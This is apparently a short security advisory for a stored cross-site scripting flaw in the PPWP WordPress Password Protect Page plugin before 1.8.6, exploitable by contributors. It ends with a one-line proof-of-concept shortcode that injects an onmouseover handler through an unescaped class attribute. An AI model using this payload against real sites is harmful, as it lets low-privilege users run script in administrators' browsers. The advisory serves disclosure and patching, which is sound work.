PPWP – WordPress Password Protect Page < 1.8.6 - Contributor+ Stored XSS in Shortcode

The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.

PoC

Exploit shortcode: [ppwp passwords=‘pw’ class=‘" onmouseover=“alert(1)”’]content[/ppwp]